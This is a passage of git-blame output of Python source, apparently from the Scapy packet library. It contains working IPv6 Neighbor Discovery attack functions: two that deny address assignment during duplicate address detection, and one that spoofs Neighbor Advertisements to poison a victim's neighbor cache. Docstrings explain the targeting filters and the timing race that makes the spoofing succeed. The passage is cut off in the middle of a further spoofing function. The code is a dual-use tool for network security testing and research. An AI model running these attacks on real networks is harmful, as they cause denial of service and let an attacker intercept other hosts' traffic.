3318a3618a09887e39536009036d2e88341c61d4d385gpotter        received_snma = inet_pton(socket.AF_INET6, req[IPv6].dst)
3319af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        expected_snma = in6_getnsma(tgt)
3320af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if received_snma != expected_snma:
3321af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3322af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3323af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3324af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3325af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3326af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3327af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3328af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # To prevent sniffing our own traffic
3329af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not reply_mac:
3330af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        reply_mac = get_if_hwaddr(iface)
3331af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6 and not ether src %s" % reply_mac
3332af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3333af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3334af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3335af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
3336af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: reply_callback(x, reply_mac, iface),
3337af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3338af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3339af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3340af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
3341af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                              reply_mac=None):
3342af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3343af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3344af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    3756. This is done by listening incoming NS messages sent from the
3345af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    unspecified address and sending a NS reply for the target address,
3346af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    leading the peer to believe that another node is also performing DAD
3347af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    for that address.
3348af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3349af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the fake NS sent to create the DoS uses:
3350af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as target address the target address found in received NS.
3351af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 source address: the unspecified address (::).
3352af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 destination address: the link-local solicited-node multicast
3353af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address derived from the target address in received NS.
3354af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the mac address of the interface as source (or reply_mac, see below).
3355af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the multicast mac address derived from the solicited node multicast
3356af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address used as IPv6 destination address.
3357af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3358af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3359af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3360af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3361af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         DoS should be launched. If None is provided conf.iface is used.
3362af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3363af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3364af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only NS messages received from this source will trigger replies.
3365af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         This allows limiting the effects of the DoS to a single target by
3366af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         filtering on its mac address. The default value is None: the DoS
3367af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not limited to a specific mac address.
3368af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3369af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_filter: Same as previous but for a specific target IPv6 address for
3370af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         received NS. If the target address in the NS message (not the IPv6
3371af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address) matches that address, then a fake reply will
3372af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         be sent, i.e. the emitter will be a target of the DoS.
3373af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3374af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3375af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface.
3376af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3377af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3378af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def ns_reply_callback(req, reply_mac, iface):
3379af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3380af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that reply to a NS by sending a similar NS
3381af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3382af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3383af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply and send it
3384af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac = req[Ether].src
3385a3618a09887e39536009036d2e88341c61d4d385gpotter        dst = req[IPv6].dst
3386af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = req[ICMPv6ND_NS].tgt
3387af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(src=reply_mac)/IPv6(src="::", dst=dst)/ICMPv6ND_NS(tgt=tgt)
3388af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3389af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3390b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Reply NS for target address %s (received from %s)" % (tgt, mac))
3391af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3392af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter,
3393af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        tgt_filter, reply_mac)
3394af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3395af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3396af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,
3397af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                              reply_mac=None):
3398af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3399af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3400af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    3756. This is done by listening incoming NS messages *sent from the
3401af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    unspecified address* and sending a NA reply for the target address,
3402af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    leading the peer to believe that another node is also performing DAD
3403af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    for that address.
3404af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3405af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the fake NA sent to create the DoS uses:
3406af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as target address the target address found in received NS.
3407af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 source address: the target address found in received NS.
3408af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 destination address: the link-local solicited-node multicast
3409af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address derived from the target address in received NS.
3410af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the mac address of the interface as source (or reply_mac, see below).
3411af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the multicast mac address derived from the solicited node multicast
3412af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address used as IPv6 destination address.
3413af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled
3414af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       with the mac address used as source of the NA.
3415af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3416af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3417af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3418af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3419af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          DoS should be launched. If None is provided conf.iface is used.
3420af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3421af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3422af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only NS messages received from this source will trigger replies.
3423af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         This allows limiting the effects of the DoS to a single target by
3424af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         filtering on its mac address. The default value is None: the DoS
3425af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not limited to a specific mac address.
3426af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3427af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_filter: Same as previous but for a specific target IPv6 address for
3428af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         received NS. If the target address in the NS message (not the IPv6
3429af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address) matches that address, then a fake reply will
3430af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         be sent, i.e. the emitter will be a target of the DoS.
3431af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3432af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3433af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface. This
3434af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         address will also be used in the Target Link-Layer Address option.
3435af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3436af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3437af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def na_reply_callback(req, reply_mac, iface):
3438af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3439af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that reply to a NS with a NA
3440af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3441af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3442af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply and send it
3443af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac = req[Ether].src
3444a3618a09887e39536009036d2e88341c61d4d385gpotter        dst = req[IPv6].dst
3445af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = req[ICMPv6ND_NS].tgt
3446af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(src=reply_mac)/IPv6(src=tgt, dst=dst)
3447af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1)
3448af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3449af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3450af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3451b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Reply NA for target address %s (received from %s)" % (tgt, mac))
3452af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3453af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter,
3454af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        tgt_filter, reply_mac)
3455af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3456af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3457af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
3458af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           reply_mac=None, router=False):
3459af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3460af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The main purpose of this function is to send fake Neighbor Advertisement
3461af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    messages to a victim. As the emission of unsolicited Neighbor Advertisement
3462af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    is pretty pointless (from an attacker standpoint) because it will not
3463af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    lead to a modification of a victim's neighbor cache, the function send
3464af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    advertisements in response to received NS (NS sent as part of the DAD,
3465af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    i.e. with an unspecified address as source, are not considered).
3466af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3467af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the fake NA sent to create the DoS uses:
3468af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as target address the target address found in received NS.
3469af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 source address: the target address
3470af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 destination address: the source IPv6 address of received NS
3471af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       message.
3472af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the mac address of the interface as source (or reply_mac, see below).
3473af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the source mac address of the received NS as destination macs address
3474af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       of the emitted NA.
3475af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
3476af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       filled with the mac address used as source of the NA.
3477af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3478af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3479af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3480af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3481af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          DoS should be launched. If None is provided conf.iface is used.
3482af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3483af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3484af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only NS messages received from this source will trigger replies.
3485af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         This allows limiting the effects of the DoS to a single target by
3486af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         filtering on its mac address. The default value is None: the DoS
3487af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not limited to a specific mac address.
3488af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3489af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_filter: Same as previous but for a specific target IPv6 address for
3490af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         received NS. If the target address in the NS message (not the IPv6
3491af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address) matches that address, then a fake reply will
3492af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         be sent, i.e. the emitter will be a target of the DoS.
3493af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3494af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3495af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface. This
3496af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         address will also be used in the Target Link-Layer Address option.
3497af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3498af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    router: by the default (False) the 'R' flag in the NA used for the reply
3499af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not set. If the parameter is set to True, the 'R' flag in the
3500af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         NA is set, advertising us as a router.
3501af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3502af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Please, keep the following in mind when using the function: for obvious
3503af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reasons (kernel space vs. Python speed), when the target of the address
3504af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    resolution is on the link, the sender of the NS receives 2 NA messages
3505af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    in a row, the valid one and our fake one. The second one will overwrite
3506af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    the information provided by the first one, i.e. the natural latency of
3507af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Scapy helps here.
3508af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3509af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    In practice, on a common Ethernet link, the emission of the NA from the
3510af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    genuine target (kernel stack) usually occurs in the same millisecond as
3511af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    the receipt of the NS. The NA generated by Scapy6 will usually come after
3512af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    something 20+ ms. On a usual testbed for instance, this difference is
3513af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sufficient to have the first data packet sent from the victim to the
3514af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    destination before it even receives our fake NA.
3515af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3516af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3517af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, tgt_filter):
3518af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3519af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3520af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3521af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3522af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Those simple checks are based on Section 5.4.2 of RFC 4862
3523af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
3524af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3525af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3526af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3527af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3528af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3529af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3530af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Source must NOT be the unspecified address
3531a3618a09887e39536009036d2e88341c61d4d385gpotter        if req[IPv6].src == "::":
3532af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3533af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3534a3618a09887e39536009036d2e88341c61d4d385gpotter        tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
3535af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if tgt_filter and tgt != tgt_filter:
3536af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3537af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3538a3618a09887e39536009036d2e88341c61d4d385gpotter        dst = req[IPv6].dst
3539af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast.
3540af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3541af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # If this is a real address resolution NS, then the destination
3542af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # address of the packet is the link-local solicited node multicast
3543af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # address associated with the target of the NS.
3544af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # Otherwise, the NS is a NUD related one, i.e. the peer is
3545af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # unicasting the NS to check the target is still alive (L2
3546af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # information is still in its cache and it is verified)
3547af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            received_snma = socket.inet_pton(socket.AF_INET6, dst)
3548af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            expected_snma = in6_getnsma(tgt)
3549af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            if received_snma != expected_snma:
3550b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter                print("solicited node multicast @ does not match target @!")
3551af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                return 0
3552af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3553af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3554af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3555af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def reply_callback(req, reply_mac, router, iface):
3556af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3557af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that reply to a NS with a spoofed NA
3558af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3559af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3560af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and
3561af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # send it back.
3562af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac = req[Ether].src
3563af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        pkt = req[IPv6]
3564a3618a09887e39536009036d2e88341c61d4d385gpotter        src = pkt.src
3565af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = req[ICMPv6ND_NS].tgt
3566af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(src=reply_mac, dst=mac)/IPv6(src=tgt, dst=src)
3567af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # target from the NS
3568af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3569af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # "If the solicitation IP Destination Address is not a multicast
3570af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # address, the Target Link-Layer Address option MAY be omitted"
3571af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Given our purpose, we always include it.
3572af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3573af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3574af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3575af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3576b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Reply NA for target address %s (received from %s)" % (tgt, mac))
3577af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3578af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3579af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3580af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # To prevent sniffing our own traffic
3581af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not reply_mac:
3582af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        reply_mac = get_if_hwaddr(iface)
3583af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6 and not ether src %s" % reply_mac
3584af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3585af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    router = (router and 1) or 0 # Value of the R flags in NA
3586af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3587af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3588af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3589af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
3590af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: reply_callback(x, reply_mac, router, iface),
3591af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3592af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3593af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3594af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1",
3595af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           dst=None, src_mac=None, dst_mac=None, loop=True,
